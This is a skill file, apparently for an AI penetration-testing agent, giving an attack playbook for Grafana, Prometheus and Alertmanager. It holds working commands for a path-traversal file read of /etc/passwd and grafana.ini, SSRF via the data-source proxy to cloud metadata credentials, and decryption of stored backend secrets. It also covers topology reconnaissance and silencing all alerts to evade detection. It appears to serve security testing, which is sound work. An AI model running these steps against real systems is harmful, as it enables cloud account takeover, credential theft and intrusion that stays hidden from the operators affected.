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Grafana & Prometheus (Observability Stack)

strix/skills/technologies/grafana_prometheus.md

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Grafana & Prometheus (Observability Stack)

Observability stacks (Grafana + Prometheus + Alertmanager + Loki/Tempo/Jaeger + exporters) are among the highest-value pivots on a network. They are chronically exposed (300k+ internet-facing Grafana instances on Shodan), run with weak/no auth, hold plaintext credentials for every backend they touch, and sit in a network position that reaches internal services and cloud metadata. Treat a reachable observability endpoint not as the finding but as the entry point: the goal is to pivot from "monitoring is exposed" into data-source credential theft, SSRF into the internal network, cloud key compromise, RCE, and cluster/host takeover.

Attack Surface

Grafana (default :3000)

  • Web UI + REST API (/api/*), login, org/user management, snapshots
  • Data sources: stored connection details + credentials for Prometheus, Loki, Tempo, MySQL/Postgres, Elasticsearch, InfluxDB, CloudWatch, Azure Monitor, etc.
  • Data source proxy (/api/datasources/proxy/..., /api/ds/query) — server-side HTTP client → SSRF primitive
  • Plugins (incl. Image Renderer, Infinity) — extra SSRF/RCE surface
  • Alerting → contact points/webhooks (outbound HTTP, another SSRF vector)

Prometheus (default :9090)

  • Query API (/api/v1/query, /graph), config/target/status endpoints, federation, admin/lifecycle API

Alertmanager (default :9093)

  • Alert/silence API (/api/v2/*), config with receiver credentials

Exporters / adjacent — node_exporter (:9100), cAdvisor/kubelet (:4194/:10250), kube-state-metrics (:8080), Pushgateway (:9091), Loki (:3100), Tempo, Jaeger UI (:16686), Thanos/Cortex/Mimir/VictoriaMetrics

Reconnaissance

Fingerprint & version (version drives which CVEs apply)

GET /api/health                     # Grafana: {"version":"...","commit":"..."}
GET /api/frontend/settings          # buildInfo, enabled auth, datasource types
GET /login                          # Grafana login page / footer version
GET /api/v1/status/buildinfo        # Prometheus version
GET /metrics                        # any exporter → prometheus/node/go_* series

Auth posture — always test unauthenticated first

GET /api/datasources                # Grafana: 200 = anon/viewer has admin-ish read
GET /?orgId=1                        # anonymous access enabled? lands on dashboards
GET /api/v1/targets                  # Prometheus: 200 = no auth
GET /api/v2/status                   # Alertmanager: 200 = no auth

Credential entry points

  • Grafana default creds admin:admin (the first-login change prompt has a Skip button — ~1 in 5 internet-facing instances still accept it)
  • Anonymous org access (auth.anonymous), open sign-up, guest/viewer roles
  • Leaked Grafana API keys / service account tokens (Authorization: Bearer glsa_... / eyJ...) in JS bundles, git, CI logs

Key Vulnerabilities & CVEs

CVE-2021-43798 — Grafana pre-auth path traversal (arbitrary file read)

Grafana 8.0.0-beta1 → 8.3.0. Directory traversal through the plugin static route reads any file the process can, no auth required. Every install ships pre-installed plugins, so the path always exists.

curl --path-as-is 'http://host:3000/public/plugins/mysql/../../../../../../../../etc/passwd'
# other plugin ids that always exist: prometheus, graph, text, alertlist, table-old

High-value reads:

  • /etc/grafana/grafana.ini and conf/defaults.inisecret_key, admin password, SMTP/LDAP creds
  • /var/lib/grafana/grafana.db (SQLite) → data_source.secure_json_data (AES-encrypted with secret_key → decrypt to recover backend passwords/tokens), session tokens, API key hashes
  • /proc/self/environ, cloud credential files (~/.aws/credentials, k8s SA token at /var/run/secrets/kubernetes.io/serviceaccount/token)

CVE-2024-9264 — Grafana SQL Expressions RCE + LFI (DuckDB)

Grafana v11.0.0–11.2.x (10.x not affected). The experimental SQL Expressions feature passes user input to the duckdb CLI insufficiently sanitized → command injection + arbitrary file read. Enabled by default for the API (feature-flag bug); exploitable only if the duckdb binary is in Grafana's $PATH (not shipped by default). Any user with Viewer or higher can exploit. CVSS 9.4.

  • Probe: is duckdb present? Try the SQL Expressions query path; LFI via read_csv/read_blob-style functions, command injection via DuckDB's shell/install/load extension mechanics.
  • Mitigation you'll see: remove duckdb from PATH.

CVE-2025-4123 — Grafana open redirect + stored XSS → SSRF chain

Double-encoded traversal (..%2f) into the client path//redirect forwards the victim to an attacker origin that serves a malicious plugin manifest → JS executes in the trusted grafana origin (stored XSS). If the Image Renderer plugin is present, escalate to full-read SSRF:

POST /api/render?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

No creds needed when anonymous access is on (common in demo/lab).

CVE-2021-39226 / CVE-2024-1313 — Grafana snapshot auth bypass

Unauthenticated view (and, with public_mode, delete) of the lowest-key snapshot via /api/snapshots/:key and /dashboard/snapshot/:key; CVE-2024-1313 lets a user in a different org delete snapshots by view key. Walk snapshot IDs to harvest dashboard data / leaked query values.

Prometheus / Alertmanager — exposure is the vuln (no auth by default)

Prometheus and Alertmanager ship with no authentication; the docs explicitly say do not expose them. There is rarely a CVE — reachability itself is the finding, and the payoff is recon + credential leakage + pivoting (below).

Pivoting: Observability → Deeper Compromise

This is the core value. Chain each exposure into something that matters. Always articulate the pivot in the finding, not just the exposed endpoint.

1. Grafana data-source proxy → full-read SSRF (internal net + cloud metadata)

Grafana OSS ships a no-op URL validator and an empty data_source_proxy_whitelist (empty = allow all). The proxy resolves the proxied path against the selected data source's configured base URL, so to reach an arbitrary host you must first create (or edit) a data source whose URL is the internal/metadata target — this needs data-source write permission (Editor/Admin, or any role granted datasources:create/:write). Reusing an ordinary Prometheus data-source id and appending a metadata path just hits Prometheus, not the metadata service — do not report that as SSRF. Once a data source points at the target, the proxy issues the request server-side and returns the full response body.

# Step 1: create/edit a data source with an attacker-chosen base URL, e.g.
POST /api/datasources  {"name":"x","type":"prometheus","access":"proxy",
                        "url":"http://169.254.169.254"}       # returns the new <id>
# Step 2: relay through THAT data source's id (path appended to its base URL):
GET /api/datasources/proxy/<id>/latest/meta-data/iam/security-credentials/<role>   # AWS IMDSv1
# GCP: base url http://metadata.google.internal + header Metadata-Flavor: Google
#      → /computeMetadata/v1/instance/service-accounts/default/token
# Internal APIs, k8s API server, admin panels, other cloud services (one DS per host)

Pivot: metadata creds → cloud account; internal API reads → data; network mapping → next target. Also test the alerting contact-point/webhook (attacker-controlled outbound URL) and plugin SSRFs (e.g. Infinity CVE-2025-8341) as independent vectors. The Image Renderer is an SSRF vector too, but not via an arbitrary-URL proxy: it renders Grafana dashboard/panel render routes (/render/d-solo/...), so the SSRF arises when a render request is coerced to fetch an internal URL (e.g. chained with CVE-2025-4123), not from a ?url= parameter.

2. Grafana admin → harvest every backend credential

Once authenticated (default creds, anon-admin, leaked token, or after CVE-2021-43798):

GET /api/datasources          # host, port, db, user for 5–15 backends
GET /api/admin/settings        # SMTP, LDAP bind, OAuth secrets, DB DSN (grafana.ini runtime)

Grafana stores backend passwords/tokens encrypted (secureJsonData) — the API won't echo them, but you can (a) use the data source proxy to query the backend directly through Grafana (no plaintext needed), or (b) decrypt grafana.db secure_json_data with the leaked secret_key (from grafana.ini) offline. Each recovered credential (Postgres, MySQL, Elasticsearch, CloudWatch/Azure keys) is a fresh pivot into that system.

3. Prometheus config/targets → leaked scrape credentials + inventory

GET /api/v1/status/config      # loaded prometheus.yml
GET /api/v1/targets            # every scrape target + discovery metadata labels

Prometheus renders secret-typed fields (basic_auth.password, authorization.credentials, bearer tokens, OAuth client secrets — including inside remote_write/remote_read) as <secret> in the config response, so do not report those as leaked unless the actual value is shown. What genuinely leaks: usernames (basic_auth.username), and — critically — credentials embedded in target/endpoint URLs (https://user:pass@host/...), which are not masked. remote_write/remote_read blocks still reveal internal backend endpoints (Grafana Cloud/Cortex/Mimir/Thanos hosts) and usernames even with secrets redacted. kubernetes_sd_configs and cloud SD expose internal DNS and can surface creds via URL fields. Target lists + __meta_*/__address__ labels = a free internal network map (hostnames, ports, k8s namespaces, cloud instance IDs).

4. PromQL / metrics → internal topology, versions → known-CVE targeting

Metrics are a recon goldmine. Query without auth:

GET /api/v1/query?query=up                          # every monitored service (host:port)
GET /api/v1/query?query=node_uname_info             # kernel/OS/host
GET /api/v1/query?query=node_dmi_info               # cloud provider / hardware
GET /api/v1/query?query=node_network_info           # interfaces, internal IPs/MACs
GET /api/v1/query?query=kube_pod_info               # pods, namespaces, node IPs (KSM)
GET /api/v1/query?query=kube_node_info              # node hostnames, kubelet/kubeproxy versions
GET /api/v1/query?query={__name__=~"..._build_info"} # exact component versions
GET /api/v1/label/__name__/values                   # enumerate all metric names → app inventory
GET /federate?match[]={__name__=~".%2b"}             # bulk-exfil series via federation

Pivot: exact versions (*_build_info, kube_node_info) → map to CVEs and attack the vulnerable components; up/kube_pod_info → target list of internal services normally invisible from outside. cAdvisor/kubelet and kube-state-metrics reveal container images, args, labels (sometimes secrets in env-derived labels), and full cluster layout.

5. Alertmanager → credential theft, SSRF, and alert suppression (anti-forensics)

GET /api/v2/status             # config (receiver creds often masked, structure/routes leak)
POST /api/v2/silences          # unauth in default deploys → silence ALL alerts
  • Receiver config (alertmanager.yml) holds plaintext Slack webhook URLs, PagerDuty routing keys, SMTP passwords, OpsGenie/VictorOps keys — steal via file read (CVE-2021-43798 style) or config access; reuse to spoof alerts / social-engineer on-call.
  • Webhook receivers = SSRF: if you can influence the receiver URL, point it at internal endpoints.
  • Silence abuse: POST /api/v2/silences with matcher alertname=~".+" for 30d suppresses security/ops alerting while you operate — call this out as a detection-evasion impact.

6. Logs/traces backends (Loki, Tempo, Jaeger) → secrets in transit

Exposed Loki (/loki/api/v1/query_range), Tempo, and Jaeger UI (:16686) frequently contain request bodies, headers, tokens, session cookies, SQL, and stack traces captured from real traffic. Query them for authorization, password, token, set-cookie, PII. A single logged bearer token or session cookie is a direct account/service takeover.

Testing Methodology

  1. Discover stack ports/services (:3000/:9090/:9093/:9100/:3100/:16686, /metrics, /api/health).
  2. Fingerprint versions → shortlist applicable CVEs (43798, 9264, 4123, 39226/1313, Infinity 8341).
  3. Auth matrix — unauth vs anon vs viewer vs default creds vs leaked token, per component.
  4. Recon-pivot — pull Prometheus config/targets + PromQL inventory; enumerate Grafana /api/datasources.
  5. SSRF-pivot — data source proxy / render / webhook → internal services + 169.254.169.254.
  6. Credential-pivot — file read (43798) → secret_key → decrypt grafana.db; scrape/remote_write/receiver creds; then reuse against each backend.
  7. Deepen — RCE (9264 if duckdb present), cloud account via metadata, k8s SA token, DB access; demonstrate real impact.

Validation

  • SSRF: show the full body of an internal-only URL (metadata creds, internal API JSON) returned through Grafana — not just a timing/blind signal.
  • Credential theft: show the leaked secret AND prove reuse (authenticate to the backend / cloud), or clearly explain the reuse path.
  • File read (43798): return contents of /etc/passwd or grafana.ini with --path-as-is; note affected version.
  • RCE (9264): confirm duckdb in PATH first; demonstrate command execution or file read; note version 11.x.
  • Recon: for Prometheus/Alertmanager exposure, pair the open endpoint with the concrete sensitive data recovered (leaked creds, internal inventory) so the finding shows impact, not just "it's reachable".

False Positives / Down-rate

  • Endpoint reachable only from localhost / same trusted segment by design, behind an authenticating reverse proxy (test through the real ingress).
  • Grafana Enterprise (real URL validator) or OSS with a configured data_source_proxy_whitelist → SSRF blocked.
  • CVE-2024-9264 with no duckdb in PATH → not exploitable (do not report as RCE).
  • Patched versions (Grafana ≥ the fixed release for each CVE; check /api/health).
  • Demo/sandbox instances with synthetic data — down-rate per demo-data guidance; exposed monitoring of a throwaway target is low impact.
  • Metrics that are genuinely public/non-sensitive (e.g. an intentionally public status page).

Impact

  • Cloud account compromise (metadata creds via SSRF), internal network read access, and network mapping.
  • Theft of every backend credential Grafana/Prometheus/Alertmanager touches → lateral movement into DBs, Elasticsearch, cloud APIs.
  • RCE on the Grafana host (CVE-2024-9264) and arbitrary file read (CVE-2021-43798).
  • Kubernetes cluster recon → SA token / kubelet exposure → cluster compromise.
  • Alert suppression for detection evasion; secret/PII exposure via logs & traces.

Pro Tips

  1. Always fingerprint the version first (/api/health, /api/v1/status/buildinfo) — it decides RCE vs read vs recon.
  2. The exposed dashboard is never the finding; the pivot is. Chain to metadata creds, backend creds, or RCE before reporting.
  3. Prometheus <secret> masking is incomplete — hunt usernames and URL-embedded creds in /api/v1/status/config and remote_write.
  4. Grafana can query its own backends for you via the data source proxy — you don't need the plaintext password to exfil data.
  5. *_build_info and kube_node_info metrics hand you exact component versions — turn them straight into CVE targets.
  6. Pair with ssrf, information_disclosure, kubernetes, aws/gcp, and authentication_jwt skills; use nuclei templates (grafana-*, prometheus-*) for fast triage.
  7. On k8s, an exposed Prometheus/KSM often reveals the whole cluster topology and image versions with zero auth — prioritize it as a recon multiplier.

Summary

Grafana and Prometheus are pivot engines, not endpoints. Grafana holds plaintext-recoverable credentials for every backend, proxies arbitrary server-side requests by default (SSRF → cloud metadata), reads arbitrary files (CVE-2021-43798), and can hit RCE (CVE-2024-9264). Prometheus/Alertmanager expose internal inventory, versions, and scrape/receiver credentials with no auth. Treat any reachable observability service as a launch point into the internal network, cloud account, databases, and cluster — and prove the pivot.